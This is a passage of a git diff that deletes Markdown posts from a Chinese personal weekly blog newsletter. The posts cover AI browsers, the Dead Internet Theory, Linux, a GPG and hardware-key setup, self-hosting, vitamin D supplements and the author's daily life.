实例,当我重新审视我的网站架构时,我发现要脱离大科技公司真的很难,至少成本很高。比如,在我找到更好的防护方案前,我大概是不敢脱离 Cloudflare 的。话说回来,有了拥有数据、行使自由和拥抱开源技术的意识,就已经是很好的开始了。 - -### 全能型输入框 - -> [!note] 📜 -> [A Box of Many Inputs](https://allenpike.com/2025/a-box-of-many-inputs/) - -尽管我不使用并且抗拒使用任何现有的 AI 浏览器(在我看来开发 AI 浏览器是拿着锤子找钉子的做法,而且对隐私没有任何保障),不过这类浏览器中的地址栏设计很有意思。不少现代软件都内置了一个可以随时打开的输入框(常见的有 VS Code 里的 ⌘P 打开文件选择窗口,Obsidian 也可以用同样的快捷键打开命令选择窗口,Raycast 这类启动器软件更是提供了操作系统级别的全局输入框),这些输入框可以根据用户输入的内容推断意图,并提供合适的选项。AI 浏览器的地址栏也做了相同的处理,一些输入会被推断为问题,会直接打开 AI 对话框;另一些输入则被当作常规的搜索关键词。 - -作者用 Dia 浏览器搜索名为 *Who Framed Roger Rabbit?* 的电影,因为电影名本身是一个问句,结果被视作问题触发了 AI 对话——作者相信没有人在搜索电影的时候想要得到这样的结果。在 ChatGPT 的 Atlas 这边,这个问题并不会触发对话,而是会进入常规的搜索结果页面。区别在于,Dia 浏览器使用一个本地的小模型判断用户输入的内容到底是问题还是搜索关键词,而 Atlas 则简单粗暴地把 10 个单词以内的输入都当作常规搜索。(我很好奇这种判断法对中文的兼容性) - -作者期待在未来,AI 浏览器会把输入框做得越来越好,能够更准确判断用户的意图。可我觉得这是设计的大忌。在 *The Design of Everyday Things* 这本书里,作者花了很长的篇幅批评以前的电话系统,座机上的一个按键能干的事情太多了,用户根本找不到某些功能的入口,不仔细拿说明书钻研,甚至会以为这个电话没有呼叫保持(Hold)功能。清晰比聪明更好,AI 对话和常规的搜索应该分开,至少设置明确的、不同的触发方式,比如回车是搜索,而 ⌘ 加上回车就是 AI 对话。用户使用软件的习惯不同,再精确的匹配和判断总有例外。不应该替用户做决定,而是要让用户自己做决定。 - -### Wikipedia 25 周年 - -> [!note] 🌐 -> [25 Year of Wikipedia](https://wikipedia25.org/) - -2026 年 1 月 15 日是维基百科的 25 岁生日。Wikipedia 发布了一个网站讲述这 25 年的发展历程,涉及技术、编辑者社区、内容政策的变更等多个方面的内容,读一读还是很有意思的。页面的最后是一个小册试题「你的 Wikiepdia 未来是什么样的?」,题目还不错,不像是一拍脑袋想起来的。我得到的结果是 *The Consensus-Driven Collaborator*(共识驱动的合作者)。 - -> Welcome to the Knowl-Age -> -> You're super curious, friendly yet argumentative, but not in a bad way. -> -> Your future is shaped by open source technologies, open discourse, and a lot of behind-the-scenes teamwork. AI might be part of your future, as long as it helps make life better for all of humanity-not just select individuals. -> -> All this we see in your future: A fairer world where the internet belongs to everyone and maybe-just maybe-a Wikipedia Virtual Reality edition. Don't mind us, we will be doing the cha-cha from Wikipedia's "List of dance styles". Oh, and by the way, since you got this as a result, consider yourself officially invited to Wikipedia's 50th birthday! - -### 死互联网理论 - -> [!note] 📜 -> [Dead Internet Theory](https://kudmitry.com/articles/dead-internet-theory/) - -作者在 Hacker News 上冲浪的时候,发现了一个有趣的讨论串。有人质疑某个作者的开源项目的代码是 LLM 写的,因为他们找到了疑似 AI 生成的注释,更有趣的是,这个作者尽管反复强调他的代码是 100% 人工完成的,但他的回复中能看到很多 LLM 生成的痕迹,比如开头有那句臭名昭著的「You're absolutely right!」,末尾也有「Let me know if you...」这些人类绝对不会说的话,当然,还有经常被人诟病的对破折号的滥用。 - -作者想起了很早以前有人提出的「死互联网理论」(Dead Internet Theory[^1]),这个理论声称到了 2016 年,互联网上只会有相互对话的机器人,而所有的内容都不是真实的,只是人们为了卖东西用算法制造的内容。作者想起他在领英上看到一个雇员发照片宣传他们公司的工作氛围,大家都很开心,可很快就有人找到了 AI 生成的痕迹,因为背景上有毫无意义的文字、人物的手看起来怪怪的…… 看起来这个预言在晚了 10 年之后终于还是应验了。 - -尽管在以前,你也不知道在互联网另一边跟你聊天的人到底是人还是一只狗,但至少你知道他们是真实存在的。就算不讨论真实性,如今互联网的体验的确非常接近「人们只是为了卖东西给你而创造内容」的预言,真实且不商业化的内容已经越来越少了。就在这周,OpenAI 已经开始测试在 ChatGPT 内容中投放广告[^2]。我相信没有人喜欢广告,我讨厌广告的原因有很多: 一、广告是信息噪音,内容中参杂了不必要且夸大的信息;二、广告生来就不是为了陈述事实的;三、为了更精准地投放广告,服务商会收集并分析用户数据,这是对隐私的极大侵犯。 - -这也是我今年更彻底地与「大公司网络」决裂,拥抱 IndieWeb 和 Fediverse 的原因。我作为用户,我理应有各方面的决定权,去中心化、自托管和开源能让我更好地行使这些权利。互联网已经混乱不堪了,让我们回到更小但更开放且更自由的网络上来。 - -### 预测:微软将会在未来停用 Windows - -> [!note] 📜 -> [Prediction: Microsoft Is Going To Do The Funniest Thing Imaginable](https://gamesbymason.com/blog/2026/microsoft/) - -听起来有些荒诞不经的想法:作者预计在接下来 15~25 年内,微软会停止维护 Windows,开发 Windows 主题的 Linux 发行版。 - -以下是作者的理由: - -1. 所有人都知道 Windows 越来越差,比如前不久 Windows 还让国外出现了大规模的蓝屏和系统瘫痪。作者以前觉得桌面端系统有三个可行的选择,也就是 Linux、Windows 和 macOS,作者作为程序员,现在已经不认为 Windows 能够作为一个选项了。作者表示习惯了用 Windows 系统的都该去试试别的操作系统,而不是习惯了电脑的各种问题,认为 PC 就应该是这样的。 -2. 与此同时,Linux 一直在进步。人们对 Linux 的刻板印象是界面和操作不够友好,但这现在已经不是问题了。我最近很有感触的一点是,我甚至没有办法在 macOS 上找到一个像 Linux 上的 Hyprland 一样好用的平铺窗口管理器,大概是因为 macOS 把相关权限卡得太死。 -3. 游戏体验在 Linux 上已经更好了。Valve 的 Steam Deck 就是 Linux 系统,而且上面能使用基于 Wine 的 Proton 兼容层运行 Windows 游戏,并且性能不差。在写这篇周刊的时候,Wine 也发布了 11.0 版本,Windows 上的老代码运行在 Linux 上并无大碍。微软如果真的要开始使用 Linux 发行版,也不会面临**太严峻**的重建生态的问题。 -4. 所有人都会听游戏玩家的话。大部分人对电脑的需求不高,如果他们预算充足,想要一台足够快的电脑,多半会选择 MacBook 或者买游戏本。一旦游戏玩家们迁移到 Linux,市面上有越来越多搭载 Linux 系统的游戏 PC,也会有越来越多的人开始使用 Linux 系统,而且,如果界面没有太大变化,大多数人可能都不会注意到操作系统变了。 - -尽管我很早就脱离了 Windows,也几乎不用微软产品(甚至觉得微软的 Office 套件是毒瘤),但要是能看到 Linux 系统统治世界,我还是很期待的。那就…… 再等十几年看看? - -### 不臭、不油、整理毛发 - -> [!note] 📻 -> [独树不成林:拍时尚大片如何让我意识到我有点外宾](https://www.xiaoyuzhoufm.com/episode/69684e07109824f9e188fdcd?utm_source=rss) - -这期播客 8:35 有这样一段话: - -> 如果你是在收听本期播客的男人,我在这里代表女性…… 算了,代表我自己,对男人提出要求。我对男人的要求就是,你出现在我面前的时候:不臭、不油、整理毛发。如果你能做到这三点你已经是一个非常优秀的男人了,因为我身边很多男人连这点都做不到。 - -我做助教老师的时候有遇到过一个胖胖的学生,进入以他为圆心的半径两米的圈内就能问到非常刺鼻的味道。跟同事吐槽的时候她告诉我胖胖的男生都这样,但我也胖过,最胖的时候 210 斤,我认为至少每两天洗一次澡就不会发出那种刺鼻的恶臭。身边更常见的男性不一定有体味,但有不少人每天见到他的时候头都跟淋湿了一样油。 - -不在乎个人形象的话,也请想想这会不会给别人带来困扰吧。我认为在他人面前保持整洁是一种基本的礼貌。 - -## ⁂ · 星群 - -### AeroSpace - -macOS 上的一个平铺窗口管理器。所谓平铺式窗口,就是「不让窗口互相重叠」。这类软件极大地限制了桌面的灵活度,但带来了高效的操作和绝对的整洁。AeroSpace 使用 Vim 键位操作窗口,按下 `⌥h` 可以将焦点移动到左侧的窗口,`j` `k` `l` 也同理;在这个操作之上加上 `Shift` 键,就可以将窗口移动到指定的方位。把 `h` `j` `k` `l` 换成数字或其他字母,可以对「工作区」(workspace)进行管理,切换到某个工作区或将聚焦的窗口移动到某个工作区。 - -使用 AeroSpace 可以很方便地排列窗口,更有用的是,形成自己的习惯之后能够快速地在不同使用场景之前切换。比如我的 1 号工作区是运行 NeoVim 的终端和另一个用来干杂货的终端,我的 S 号(Social)工作区打开了 Mastodon 客户端、Matrix 客户端和 NetNewsWire(RSS 阅读器),D 号(Dashboard)工作区是打开了 Cloudflare 仪表盘、Spaceship 管理界面和各种后台的网站。 - -如果你也是 macOS 用户,我非常推荐这个软件,能够极大地提高效率。 - -*我的浏览器还装了 Vimium,我的整个操作系统都要变成 Vim 键位了。* - -访问:[AeroSpace](https://github.com/nikitabobko/AeroSpace) - -### Fediverse with 100k stars - -一个用 WebGL 实现的可视化联邦宇宙,每一个 Fediverse 实例都是一颗星星,用这种方式探索联邦宇宙非常有趣,而且很震撼。由于 Ghost 和 Writefreely 这些博客平台也支持 ActivityPub 协议,属于联邦宇宙的一部分,所以也能在这里面找到一些有趣的个人博客。希望有一天我自己的实例也能出现在这里。 - -访问:[Fediverse with 100k stars](https://100kstars.contained.love/) - - -## ↯ · 当下 - -### 新域名 - -花重金(首年 ≈$25,续费 ≈$45)购买了 `eltr.ac` 域名,是我名字的 Domain Hack[^3]。我打算用这个域名逐渐替代几年前注册的 `.cn` 域名(某个不谙世事的初中生做出的令人头大的决定)。如果你有保留我的邮件联系方式的话,需要更换到 `hi@eltr.ac` 这个邮箱地址。 - -我也在筹备制作新的个人主页,届时这个新域名会被解析到新的网站上。不过 `geedea.pro` 这个域名仍然与「极客死亡计划」关联,不会有变化。 - -顺带一提,`.ac` 域名因为和 Academic(学术)的缩写相同,似乎很受学术机构欢迎;也可以视作 Algorithm Challenge(算法题)的缩写,虽然不如 `.io` 有开发者气息,但还算不错。 - -### 合租四个月后的感受 - -我宜人性不佳,会讨厌和自己生活习惯相冲的人。能够协商,妥协后仍然会讨厌,尽管大部分时候不会让情绪影响正常的生活关系。协商对我来说是消耗精力的事情,各退半步的结果是没有人满意,却要装作满意,这种不得已的虚伪令我不适。 - -去年十一月和十二月我都安排了公共区域的清洁,同室(原谅我不使用「室友」这个词)夸奖了我的安排清晰,尽管他明显对「每天都要用吸尘器清洁主要生活区域」这项安排感到不解,却没有提供实在的意见。他的态度其实很明显了,打卡未完成的情况不少,而且他对环境的要求远不如我:衣物常被发现于客厅沙发;灶台和抽油烟机这种大家伙不便分配,也是我完成的;我还在雾霾天的早晨发现被他打开的窗户,家不远处就是建筑工地,仅仅是打开书房门一小会儿挺能听到我的空气净化器轰隆作响。 - -我知道主要原因是我对环境的要求太高了(尽管我认为这是基本的个人卫生问题,但遗憾的是,似乎在大部分人眼里我十分吹毛求疵),我平时待人友善,但面对生活环境免不了在心里暗暗骂人。 - -这个月我不打算继续做安排了,拿自己的标准要求别人总归不合适,非要保全公平性反而让我和对方都不舒服,于是默默回到「谁先看不下去谁先干活」的模式,各自都优先收拾自己看重的部分,反倒少些不爽。 - -时常想回到独居生活,可惜没钱,只能作罢。 - -### 博客更新日志 - -这周调整了一下文章内容的样式,字体调小了一号。*我也不知道为什么之前会用那种老年人字体……* 我还把超链接的下划线调细了,分割线换成了虚线,调整了行内代码块的样式。总之现在我看着更舒服了。 - -性能上,我正在移除行内 `<script>`,已经把一些脚本移动到了单独的 JavaScript 文件里,然后用 Hugo 提供的 `resources.Concat` 打包,尽可能减少分发的文件数量。在这个过程中我还搞坏了点赞按钮(*屎山代码发力了……*),应该很快就能修好,不过我正在思考要不要干脆移除这个功能——一方面,我觉得点赞数量能比 Web Analytics 更准确地反映「一篇文章有多少人觉得不错」;另一方面,它需要一个后端服务,这增加了复杂性和维护难度。如果对此读者有什么想法,欢迎留言告诉我。 - -## 切片 - -是的,时隔几个月,这个栏目又回来了。 - -* 有的人说话像 Go 语言,全是大白话但不粗俗也不失思考;有的人说话像 Lisp,结构和用词都有些难以理解,但语妙不在言多;有的人说话像 C,喜欢讲第一性原理和底层逻辑,很实用,但听多了就烦了而且翻来覆去就那么些东西;有的人说话像 JavaScript,是个兴趣泛滥者,什么话都想说,而且用词不太谨慎。 - - 这些都是不错的,只可惜大部分人说话像 Java,叽里咕噜了半天也不知道他到底要干嘛。 -* 读《帕尔马修道院》,书签已经卡到了约莫最后 10%~20% 的位置,见进度喜人,本想宣布过不了多久就能发布 2026 第一篇书评了,结果一翻页数——还有一百多页💀 -* 我只是在吧台旁边擦杯子...... 它就在我手上碎掉了。写周刊的今天早上又不小心在墙上敲碎一个陶瓷杯,记得还是买咖啡豆的赠品,款式很喜欢,可惜买不到了。玄学里有外应的说法,如果在要做什么事情之前打碎了东西、受了伤等等,可能是「你不应该做这件事」的信号。 - - 可我一会儿是要出门期末考试啊! - - *下单加厚玻璃杯 -* 司汤达笔下的男性角色给我的感觉还挺同质化的,反而爱上这些男人的女性角色更有深度。(虽然我也就只读过《红与黑》和《帕尔马修道院》而已) - - 红与黑里的于连和帕尔马修道院里的法布里斯都是长得很清秀很讨女人喜欢的男人。虽然前者出生于农村而后者身为贵族,但前者因为熟读拉丁语而受到贵族赏识,交际圈也属于上流社会。 - - 两者都有种被当作贵族的玩具的意味,前者之所以被留在市场家当家庭教师,是因为市长想给自己长面子;后者更明显,被关在监狱里就是因为政治纠纷,有人想利用他的小小罪行让某个和他有关系的伯爵下台。 - - 两者的感情经历也惊人地相似,尽管于连看起来更专情,但这两人生命中最重要的两位女性角色很相似。于连和德雷娜市长夫人陷入婚外情,法布里斯和她姑姑公爵夫人也有说不清道不明的关系。他们也都在后半部分遇到了一位年轻女性,于连遇到了玛蒂尔德小姐,法布里斯遇到了要塞司令的女儿克莱莉亚。不过这些角色都是有很大不同的。 - - 总之感觉这两本书里的政治纠纷和女性角色的感情刻画更有意思,男主人公反而像是花瓶。 - * 发到 Fediverse 上,有人回复说这是「galagame的创作思路」。 - -[^1]: [Dead Internet Theory - Wikipedia](https://en.wikipedia.org/wiki/Dead_Internet_theory) - -[^2]: 参见:[OpenAI to test ads in ChatGPT as it burns through billions](https://arstechnica.com/information-technology/2026/01/openai-to-test-ads-in-chatgpt-as-it-burns-through-billions/) - - - -[^3]: Domain Hack:即顶级域名包括后缀连起来是一个完整的词。 diff --git a/content/posts/weekly/65.md b/content/posts/weekly/65.md deleted file mode 100644 index 12add3c6..00000000 --- a/content/posts/weekly/65.md +++ /dev/null @@ -1,133 +0,0 @@ -+++ -title = "稻草人周刊 Vol.65" -subtitle = "坏的 AI 使用者将会受到公开羞辱" -tags = [ - "AI", - "Geek", - "设计", - "编程", - "开源", -] -date = 2026-01-26 10:15:25 -categories = "稻草人周刊" -draft = false -toc = true -toot = "https://akk.eltr.ac/objects/3365225b-fc10-4afb-b963-757689ce820e" -+++ -{{< music cover="https://r2.eltr.ac/geedeapro/posts/weekly/65/mlp-album-cover.png" title="This Day Aria" artist="from My Little Pony" apple="https://music.apple.com/cn/album/this-day-aria/1646671002?i=1646671183&l=en-GB" netease="https://music.163.com/#/song?id=28077570" spotify="https://open.spotify.com/track/4QogUq9Sgfoh33oSTondjr" >}} - -来自《我的小马驹:友谊是魔法》第二季的一首歌曲,其实从歌曲的风格、质量和剧情的设计来看,就不难理解这部动画为什么如此受成年人喜爱了。 - -<!--more--> - -## ⋈︎ · 连接 - -### Ghostty 的 AI 政策 - -> [!note] 📃 -> [AI Usage Policy - ghostty-org/ghostty](https://github.com/ghostty-org/ghostty/blob/main/AI_POLICY.md) - -我日常使用的终端模拟器是 Ghostty,这个项目在前不久正式成为了非盈利软件并接受捐赠(参见[第 58 期周刊](/posts/weekly/58/)),这周他们团队发布了 AI 使用政策,以下是我最喜欢的一句话: - -> Bad AI drivers will be banned and ridiculed in public. -> -> 坏的 AI 使用者会被封禁并且被**公开羞辱**。 - -### 亮色模式「膨胀」 - -> [!note] 📜 -> [Light Mode Infffffflation](https://willhbr.net/2025/10/20/light-mode-infffffflation/) - -作者观察到了一个有趣的现象,在 macOS 上,亮色模式正在变得越来越亮。在以前,系统 UI 没有亮色模式和暗色模式的选项,那个时候的 UI 除了个别是黑色背景,大部分都偏向中性的灰色。到后来,UI 界面变得越来越白,暗色模式也随之出现。作者表示,由于 macOS 的某次更新让 UI 变得太亮,他一直保持使用暗色模式,尽管他有些想念以前的灰色 UI。 - -令我震惊的是,iOS 26 竟然开始使用 HDR 技术让一些元素变得比 100% 的白色还要更亮,简直是邪恶至极,又多了一个讨厌 iOS 26 和 macOS Tahoe 的原因。 - -白色的确会让人感觉更干净,黑色越深也让人感觉越酷,这种审美倾向使得亮色模式变得越来越亮。说不上有什么社会危害,但对我的眼睛非常不友好。作者建议,如果要设计 UI 界面,可以大胆一些,选择 50% 的灰色。我们的眼睛都会谢谢你的。 - -### 你的订阅现在成了我的周末项目 - -> [!note] 📜 -> [Your App Subscription Is Now My Weekend Project](https://rselbach.com/your-sub-is-now-my-weekend-project) - -比起「现在有了 AI 人人都能做副业当程序员开发软件」的说辞,我更喜欢这篇文章作者的态度。他 Vide Code 了一些解决自己需求的小软件,用来代替订阅制软件,并且承认他清楚这些软件的质量无法承受更多的用户,他不会将它们商用甚至推荐任何人使用。他仅仅是用来解决自己的需求而已。 - -不过,LLM 编程工具并不是免费的,Vibe Coding 实际上很烧钱。从我有限的经验来看,开发规模稍大一些的软件时,使用自然语言编程所耗费的精力比自己亲手写要多得多,描述需求就是很累人的,因为需要完成想法到指令的转换——*说真的,为什么有人比起自己敲代码,会更愿意去做对接沟通和审查工作的事情?* 所以,长期而言,我很怀疑作者能不能用这种方式维持自己的数字生活。对于其他想要做此尝试的人:作者本身就是软件工程师,只是没有编写 macOS 应用的经验而已,而 LLM 编程工具只是帮他补足了这方面的空缺。 - -### Tree-sitter 和 LSP 有什么区别? - -> [!note] 📜 -> [Explainer: Tree-sitter vs. LSP](https://lambdaland.org/posts/2026-01-21_tree-sitter_vs_lsp/) - -前几天折腾 NeoVim 插件和配置,经常接触到 LSP(Language Server Protocol)和 Tree-sitter 这两个东西。我感觉它们提供了类似的能力,但似乎略有不同。这篇文章解释了两者在应用层面的区别,读完之后有豁然开朗的感觉。 - -简单来说,Tree-sitter 常被用来实现代码语法高亮,它看起来像是一个语法解析器,但实际上是个「解析器生成器」——给它一门编程语言的语法描述,它就可以生成这门语言的语法解析器程序。比起使用正则表达式匹配语法结构,Tree-sitter 能够容忍语法错误——这很重要,因为在编写代码的时候,代码在大部分时候都处于「有语法错误」的情况。如果使用正则表达式实现语法高亮,编写代码的时候,屏幕上代码的颜色就会一直变化。一些插件也可以调用 Tree-sitter 来查询代码中是否存在特定的语法对象。 - -而 LSP 是一个开放的协议,是编辑器和语言服务器(Language Server)通信的协议。语言服务器从名称上来看,似乎就会做更多的计算和分析。Rust 的官方语言服务器名为 `rust-analyzer`,就是「Rust 分析器」的意思。编辑器里显示的错误和警告,例如未被使用的符号定义、不够现代的 `for` 循环写法等等,都是语言服务器提供的。还有代码补全、通过函数引用寻找定义、显示某个标准库函数的文档,也是语言服务器的能力。~~所以我不理解那些非要用 IntelliJ IDEA 写 Java 代码的人,真要伺候这门语言也完全可以换个好点的编辑器,IDEA 有超过一半的功能都可以用 Java 的语言服务器代替,另外一部分功能学会命令行也能用,而且更快,不会在臃肿的 GUI 迷宫里迷路。~~ - -如果用人类语言类比,我感觉 Tree-sitter 像是趣广泛的语言学爱好者,知道 à、en 和 dans 是法语里的介词,但不知道是什么意思。给他一个法语句子他能划分出句子成分,但是自己不会写也读不懂。~~天哪,这简直就是我。~~ 语言服务器除了能读懂语法,还能指出用词不当和句式杂糅等问题,对一门语言有最官方和全面的了解。 - -从功能上看,LSP 优于 Tree-sitter,但后者速度更快,代码高亮和基础的语法分析应该用它。 - -## ⁂ · 星群 - -### Open-source comments - -在 Fedi 上表达了对评论系统的纠结,[@lok](https://rex.cat/@lok) 给我推荐了这个网站。简单来说,这是一个罗列了几乎所有开源、自托管评论系统的数据库,可以按标签筛选、搜索和按条件排序。 - -*我不知道什么时候产生了技术栈偏见,看到了后端用 Java 写的就避而远之,看到 Node.js 也总想换别的,看到 Go 就像看到家人了一样。嗯…… 大概也不算好事。* 不过,如果我一定要选的话,我大概会更偏向于使用用 Go 写的 Remark42。 - -如果你的博客也是静态网站,有使用新评论系统的打算,可以参考这个网站。 - -访问:[Open-source comments](https://lisakov.com/projects/open-source-comments/) - -## ↯ · 当下 - -### 成为~~密码学黑客~~ - -上周更新了邮箱地址到 `hi@eltr.ac`,突然想到自己的 GPG 密钥对也应该更新,毕竟密钥上还用的是旧邮箱信息。一开始我不知道能够直接用 `gpg --edit-key` 增加 UID,所以生成了一个新的密钥对。正好,我之前的密钥一直是储存在本地的,日常使用也是直接使用主密钥签名,这并不是最佳实践,甚至可以说十分危险,新建一个「干净」的密钥也是好事。 - -开始讨论之前要简单解释几个名词。PGP 是 Pretty Good Privacy 的缩写,是一个非自由软件,用于加密、认证和签名,为通信和数据交换提供隐私保障,其原理是非对称加密算法——用户生成一对公钥和私钥,公钥可以加密信息,但是只有私钥可以解密,这种非对称性也能用于验证互联网上某人的身份。OpenPGP 是一个开放的协议,而 GPG(GNU Privacy Guard)是实现了这个协议的自由软件。在应用层面,OpenPGP 可以给 Git commit 签名以验证代码提交者的身份,可以签名或者加密电子邮件保证隐私,可以直接加密本地存储的文件以避免明文储存敏感信息…… 关于 OpenPGP 还有很多值得探索的,这里点到为止。 - -一般来说,OpenPGP 的最佳实践是**离线**创建一个只有签发(Certificating)能力的主密钥,并且储存在永远离线的介质上;同样在离线情况下,使用主密钥签发具有其他能力的子钥,比如签名(Signing)、认证(Authenticating)和加密(Encrypting),并且子钥的有效时间应该较短,可以每年或者每半年更换一次。原则上,只有需要签发新的子钥的时候,才应该使用主密钥,日常都应该使用私钥,并且主密钥应该从联网的设备上删除。 - -不过就算是私钥,一旦暴露也会对自己的数据身份造成威胁,应该有更安全的、不可导出的、兼顾存储安全和使用便捷性的解决方案。事实上也确实有,那就是实体密钥。最常见的实体密钥是 Yubikey,支持 OpenPGP、Passkey 和多种协议,但是国内买一个 Yubikey 实在是太贵了,要六七百。联邦宇宙上[有人推荐](https://m.isle.moe/notes/ahsra74gop)了国产且开源固件的 Canokey,价格不到两百,而且支持的协议也完全够我用,于是我几乎没有犹豫就下单了。 - - - -我把加密子钥和认证子钥导入了 Canokey,把签名子钥留在了 MacBook 上,因为我需要频繁给 Git commit 签名,一直插着 Canokey 大概也不太合适。目前我的 GPG 密钥对信息是这样的。[^1] - -```shell -➜ ~ gpg --list-secret-keys -[keyboxd] ---------- -sec# ed25519 2026-01-22 [SC] [expires: 2029-01-21] - 2DF03B76B4588E9DE7A80FEF8CF13C15FE112E87 -uid [ultimate] Eltrac (Eltrac's Master Key) <hi@eltr.ac> -ssb ed25519 2026-01-22 [S] [expires: 2026-07-21] -ssb> rsa3072 2026-01-22 [E] [expires: 2026-07-21] -ssb> rsa3072 2026-01-25 [A] [expires: 2027-01-25] -``` - -主密钥我离线储存在加密的 U 盘和离线硬盘上,有两份,目前大概还做不到异地备份,但暂时也足够安全了。 - -关于 GPG,我还有很多要探索的,就放在之后再谈吧。 - -### 博客的改动和未来发展 - -这周我购买了 Contabo 的一台 VPS,安装配置了 Akkoma(一个联邦宇宙软件,Pleroma 的分支),迁移了自建的 Linkding 和 Forgejo,安装了 Uptime Kuma。我还迁移了博客的对象存储到 Cloudflare R2,你大概会觉得图片加载慢了一些。 - -详细的相关内容,可以阅读《[极客死亡计划书 III](/posts/site-report-3/)》。值得在这里一提的是,我的 Uptime Kuma 站点名字叫作「How's Eltrac?」(Eltrac 还好吗?),域名是 [hows.eltr.ac](https://hows.eltr.ac/)——这下这个 $45 的域名也算是玩回本了(并不)。 - -### 有没有中文博客圈的 Hacker News?! - -我开始讨厌 Giscus,但是我四处翻找都没能发现令我满意的评论系统,这真是静态博客最不可忽视的缺陷之一了。 - -最近在 Hacker News 上看英文文章的时候,突然开始羡慕英文博主能够大大方方地不添加评论区,因为他们可以把链接提交到 Hacker News 上,大家在这个网站上讨论页面内容,甚至有不少博主会引导访客到 Hacker News 上讨论。于是我在 Fedi 上发了一条[帖子](https://akk.eltr.ac/objects/88bdf774-6ad6-4f78-8fff-5bb970f64446): - -> 希望中文独立博客圈有类似 Hacker News 的网站,这样我就不用纠结要使用什么评论系统了,大家都在一个网站上讨论文章内容就好,还能把写作和社交这件事情很好地分开。 - -中文博客圈的 RSS 聚合网站和导航网站已经够多了,如果有一个类似于 Hacker News,能让大家围绕一个 URL 展开讨论,并且足够开放和自由的平台就好了!V2EX 和 LinuxDo 这样的论坛似乎很多人喜欢,可我也很难融入那里的氛围,而且也不是为了「讨论其他网站上的内容」而生的。 - -*已经在考虑自建一个支持 ActivityPub 的中文 Hacker News 替代了*。 - -[^1]: 如果你不熟悉 GPG 的命令行界面,其中 `sec` 表示私钥(Secret Key),而 `ssb` 表示子私钥(Secret Subkey);`#` 表示没有在本地设备上找到这个私钥,`>` 表示这个私钥储存在卡片上。 diff --git a/content/posts/weekly/66.md b/content/posts/weekly/66.md deleted file mode 100644 index d0ebd7cf..00000000 --- a/content/posts/weekly/66.md +++ /dev/null @@ -1,84 +0,0 @@ -+++ -title = '稻草人周刊 Vol.66' -subtitle = '搞笑的为什么比搞学问的更高尚?' -tags = ['健康', '认知'] -date = 2026-02-02 09:28:22 -categories = '稻草人周刊' -draft = false -toc = true -toot = 'https://akk.eltr.ac/objects/b6ed08bd-88ca-4f40-824e-67c21f167e56' -+++ - -{{< music cover="https://r2.eltr.ac/geedeapro/posts/weekly/66/If_I_Could_Make_It_Go_Quiet_cover.jpg" title="midnight love" artist="girl in red" apple="https://music.apple.com/cn/album/midnight-love/1547248211?i=1547248231" netease="https://music.163.com/#/song?id=1839063197" spotify="https://open.spotify.com/track/32XaqPVTVkkuOiOPQZ3SpA" >}} - -<!--more--> - -## ⋈︎ · 连接 - -### 维生素 D 与心脏健康 - -> [!note] 📃 -> [Vitamin D cuts heart attack risk by 52%. Why?](https://www.empirical.health/blog/vitamin-d-heart/) - -一项新研究发现,原本有过心脏病发作的人群中,开始服用维生素 D 补剂并维持在最佳剂量内的,心脏病发作率降低了 52%。维生素 D 其实和心血管疾病没有直接关联,本文解释了维生素 D 与心脏健康的关联。简而言之,维生素 D 被人提吸收后,会调节上百种作用效果不同的基因,能够促进钙的吸收、调节炎症反应、调节血压——可以这样想,维生素 D 减少了其他疾病突然引发心脏病的概率。 - -维生素 D 的主要获取途径有三种: - -1. 阳光:暴露在紫外线下 10~30 分钟就可以满足许多人的需求,不过这和肤色、种族以及居住地相关。[^1] -2. 饮食:含脂肪的鱼类、蛋黄、鱼肝油和一些强化食物[^2],不过,对大部分人来说,食补是远远不够的。 -3. 补剂:维生素 D3 补剂一般更好。 - -我大概从一两个月前就开始服用维生素 D3 补剂,因为我发现自己根本没有办法每天晒 30 分钟太阳,无法从阳光获得足够的维生素 D。维生素 D3 补剂其实比较便宜,几十块钱买一瓶能吃几个月。关于购买补剂,这里分享一些个人经验供参考。[^3] - -* 如果在国内购买补剂,请分清楚「食品」「保健食品」和「药品」。标注了「国药准字号」的是药品;标注了蓝色的「保健食品」的是保健食品;以上都没有的就是食品。一般来说,要购买的是保健食品,不过很多便宜的 OTC 药,例如小白瓶的维 C、复合维 B 等,成分和保健食品差不多,而且价格便宜非常多,也可以购买。 -* 宁少毋滥。一些营养元素不能缺乏,也不能超出每日最大耐受量,服用补剂前建议查清楚每天建议服用的剂量,根据性别、年龄、体重等因素会有不同。药品和保健食品上一般会写用量,我一般取一个中间值或者最小值。 -* 别看品牌、广告和唬人的认证,只看物质、含量和药品形式。比如,维生素 D3 一般建议每天补充 1000~4000 IU[^4],那就要在商品详情里看清楚每日服用量有没有在这个范围内。再比如,口服维生素 D 一定是要比所谓的「阳光喷雾」更有效率的,_隔壁防晒喷雾还经常被吐槽大部分物质都逸散到空气里了,怎么忍心对更贵、更有价值的补剂这样做?_ - -==补剂不是智商税,**不**自己动脑子找靠谱的资料研究,并在选购时忽略宣传话术找到有用信息自己做判断,才是交智商税。== - -### 搞笑的为什么比搞学问的更高尚? - -> [!note] 📻 -> [297-喜剧演员为何比学者更为高尚《独树不成林》](https://www.xiaoyuzhoufm.com/episode/697c25f8073030367a6c3c4a) - -学者与喜剧演员的相似之处在于,这两类人都不太可能是为了名利而走上这条职业道路的,并且他们都需要一定的天赋。不同之处在于,搞笑有着一个不可违抗的自然标准,那就是「使人发笑」——即便一个人性格卑劣,但他要是真的让你忍不住笑出了声,那他就是搞笑的。然而,搞学问却有不少人造标准,比如某某学者发了多少篇论文、书是哪个出版社出版的,如今的学者似乎已经不在乎学者自己的观点了,更多地关注「别人怎么评价他的观点」。 - -允许我忽略内容,谈谈这期播客的结构。树老师在一开始先建立了「共识」,也就是「学者和喜剧演员可以在高尚的尺度上进行比较」的前提。我认为这是在进行智识交流时必要的步骤。之前有人说我文章写得太长,我认为我是把大部分的字数都用在了交代背景和建立共识上。当然,读者可以不同意我建立的「共识」,这样就没必要继续读下去了。 - -## ⁂ · 星群 - -### HTTP Cats - -这个网站收集了各种猫猫图片,用来表示 HTTP 状态码,可以很方便地使用 `https://http.cat/[status_code]` 来引用某个状态码对应的图片。没有太多实用价值,但是猫猫可爱。 - - - -访问:[http.cat](https://http.cat/) - -### Good Enough - -一家小公司,是 [Letterbird](https://letterbird.co/) 背后的团队,有不少和 Letterbird 类似的小巧的互联网产品,可以访问他们的 [Lab](https://goodenough.us/lab) 页面。他们的理念和行事风格我都很喜欢。他们以前甚至有一个连接到互联网的打印机,用户可以直接用这个打印机给他们发送内容。真想在这样的团队里工作。 - -访问:[Good Enough](https://goodenough.us/) - -## ↯ · 当下 - -### 数字花园 - -新网站 